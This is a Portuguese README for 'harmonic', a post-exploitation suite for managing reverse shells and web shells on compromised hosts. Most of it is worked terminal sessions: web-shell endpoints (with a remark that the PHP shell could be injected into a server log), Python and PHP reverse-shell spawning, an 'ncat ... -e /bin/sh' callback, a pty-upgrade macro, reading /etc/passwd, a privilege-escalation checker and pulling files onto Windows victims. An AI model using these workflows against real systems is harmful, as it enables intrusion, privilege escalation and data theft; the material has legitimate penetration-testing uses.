Suite para gerenciamento de reverse shells voltada para trabalhar dentro do shell nativo
Início de um conjunto de ferramentas Linux para gerir e interagir com reverse shells (o código ainda está num estado rápido e sujo, com pouco tratamento de exceções). Com forte inspiração na filosofia UNIX, a ideia básica é ter um daemon para lidar com endpoints arbitrários (connd, embora ainda não seja um daemon propriamente dito, pode ser executado num terminal separado) e executar ferramentas contra esses endpoints.
Os endpoints são 'conduzidos' por um script ou processo e são expostos como ficheiros no sistema de ficheiros; depois, um cliente de software leve pode ser usado para interagir com eles, mas também podem ser gravados e lidos facilmente com comandos de shell. Na verdade, poder executar os scripts de forma autónoma a partir do shell é um fator de design fundamental, em que, idealmente, um script dependerá, no máximo, da existência de um endpoint, mas também pode ser usado em combinação (em cascata).
As opções atuais de endpoint são:
O cliente de software leve (hthinc.py) fornece uma interface básica para o endpoint do sistema, bem como a execução rápida de scripts contra o sistema. Vários scripts básicos mas úteis foram escritos:
Os tipos de drivers de reverse shell (ou seja, o que está a conduzir o shell no sistema remoto) são os seguintes (atualmente com suporte para Linux):
Outros scripts:
Diga ao connd para iniciar um endpoint, usando um driver de wedge shell contra o script php fornecido, que faz chamadas de sistema com resposta formatada. No entanto, este script de uma única linha poderia igualmente ter sido injetado como código num log de servidor
$ hconnd.py start wsh http://example.com/hwsh.php
1
Isto criou o endpoint 1 (dois pipes de I/O -- pode vê-los como t1i e t1o no subdiretório run). Agora usamos o hthinc.py para interagir com o shell.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Sabemos que é uma máquina Linux. Queremos sair de um web shell encravado e obter um shell adequado. Executar o comando integrado !help fornece a mensagem de ajuda do thinc. Podemos executar um script sp, que executará automaticamente comandos no sistema remoto, enumerará o ambiente, iniciará um endpoint nc, criará um reverse shell e entrará automaticamente através de um novo hthinc.py:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Ou, se soubermos que estamos a usar (por exemplo) PHP como driver, podemos especificá-lo:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
E digamos que temos um shell sem TTY ou queremos sair dele; podemos executar uma das macros predefinidas:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Além disso, se quisermos registar a saída de um comando, podemos usar o script log, que a guardará no diretório de trabalho atual:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Enquanto os endpoints estão em execução, pode anexar/desanexar clientes, pois os processos de ligação são geridos pelo daemon
Como tudo pode ser executado de forma mais unixy, podemos repetir processos rapidamente a partir do shell. Iniciamos um endpoint de webshell, obtemos o ID do endpoint e, a partir do shell, executamos o script gerador sp.py contra o endpoint (é o mesmo script usado no hthinc.py, mas com um ponto de entrada diferente).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
ou como one-liner:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
e automatizar facilmente:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
A ferramenta hcmd.py permite-lhe executar rapidamente um comando através de um endpoint a partir do seu shell
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
e canalizar ou redirecionar os resultados como habitualmente
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
Pode usar o verbo list do hconn.py para ver a lista atual de endpoints, com o estado da ligação se relevante
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
Configurar um endpoint de wedge shell:
$ hconn.py start wsh http://example.com/hwsh.php
1
Agora podemos configurar um listener netcat na porta 4444:
$ hconn.py start nc 4444
2
E depois escrever no endpoint de wedge shell (eid 1) através do ficheiro de entrada:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
Isto deveria ter enviado um shell de volta para o listener netcat. Anexe o cliente leve ao endpoint netcat (eid 2) e devemos ter outro shell à espera:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Generalizar a interface de shell para ficheiros significa que os scripts usados contra um endpoint de webshell também funcionarão contra um endpoint de reverse shell netcat. Pode invocar scripts usando o seu caminho absoluto ($HCROOT/share/script/*.py) ou pode usar o script auxiliar hscr.py
Podemos executar o sp.py contra o endpoint netcat e criar outro reverse shell:
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
e o equivalente usando caminho absoluto seria $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1
ou podemos executar o Linux Priv Escalation Checker contra um webshell:
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
e podemos invocá-los dentro de uma instância do hthinc.py
!run lpc
As variáveis de ambiente podem ser usadas para definir valores globais. Existem três níveis de variáveis, cada um com prioridade mais baixa do que o seguinte:
As variáveis do ficheiro recurso são definidas em $HCROOT/.hcrc. Têm a prioridade mais baixa, mas podem ser usadas para evitar poluir as variáveis de ambiente de todo o sistema.
As variáveis de ambiente/shell são trazidas para o processo pelo shell e prefixadas com HCV_. Estas são fundidas com as variáveis de recurso e substituem valores que já existem.
As variáveis inline substituem qualquer coisa definida anteriormente
Nestes exemplos, LHOST=127.0.0.1 está definido como variável de recurso no .hcrc e a utilização do script é ./script LPORT [LHOST]
O script seguinte terá LHOST=127.0.0.1 e LPORT=4455 (variável de recurso)
$ ./script 4455
O script seguinte terá LHOST=192.168.1.101 e LPORT=4455 (variável de shell)
$ HCV_LHOST=192.168.1.101 ./script 4455
O script seguinte terá LHOST=10.10.10.125 (variável inline)
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125
Os mesmos princípios podem ser aplicados ao hthinc.py !run SCR, (tenha em mente: as variáveis de ambiente/shell são as passadas para ./hthinc.py)
O servidor de portal é um servidor HTTP básico que pode ser usado para puxar ficheiros para o sistema remoto usando scripts. Esses scripts tendem a atuar como macros em torno do comando, criando uma interação mais uniforme entre plataformas. O servidor trata os ficheiros de forma relativa a partir de $HCROOT/share/disp/
O hpd.py está a correr na porta 80. DHOST e DPORT estão definidos no .hcrc como 127.0.0.1 e 80, respetivamente (apontam para o servidor de despacho). Isto significa que não tenho de introduzir essas variáveis ao invocar o script, mas se estas precisarem de ser diferentes, basta incluí-las como variáveis inline, como a variável FILE=.
Estamos a invocar os scripts a partir do hthinc.py, mas, novamente, podemos executar esses scripts a partir do nosso shell habitual, fornecendo-lhes um ID de endpoint na linha de comandos. Se DHOST e DPORT já estiverem definidos, não precisamos de os incluir na linha de comandos.
Para isto, estamos a usar o powershell, através do pspull, para puxar o ficheiro:
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Aqui não temos PowerShell, por isso precisamos de inicializar o script do portal e depois puxar o ficheiro:
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+] Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful
O script pull é usado para Linux:
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful
Apenas para clarificar as variáveis inline:
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful
As macros são definidas na secção de macros de $HCROOT/.hcrc e invocadas pelo script mac. Nesta forma básica, assemelham-se a um alias num shell e são efetivamente scripts simples de sentido único, enviando um comando através do endpoint para o shell remoto. É mais fácil associar sequências de comandos usadas regularmente, mas trabalhosas, a macros.
Invocar o script mac a partir de um hthinc.py inclui o uso de uma variável sem nome, ou seja, uma variável sem rótulo. Isto permite que as macros sejam invocadas como um parâmetro de linha de comandos para o script.
Novamente, as macros podem ser invocadas a partir do seu shell habitual usando o mesmo script mac.py.
Este exemplo invoca a macro pty num shell instável. A macro é um alias para python -c 'import pty; pty.spawn("/bin/bash")':
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$
O equivalente a executá-la a partir da linha de comandos no (por exemplo) endpoint 5 seria hscr.py 5 mac pty. Da próxima vez que anexar um cliente ao endpoint, este deverá estar a correr com um tty.
Inserir !run mac --list mostrará a lista de macros.
Para compilar o connd:
go build connd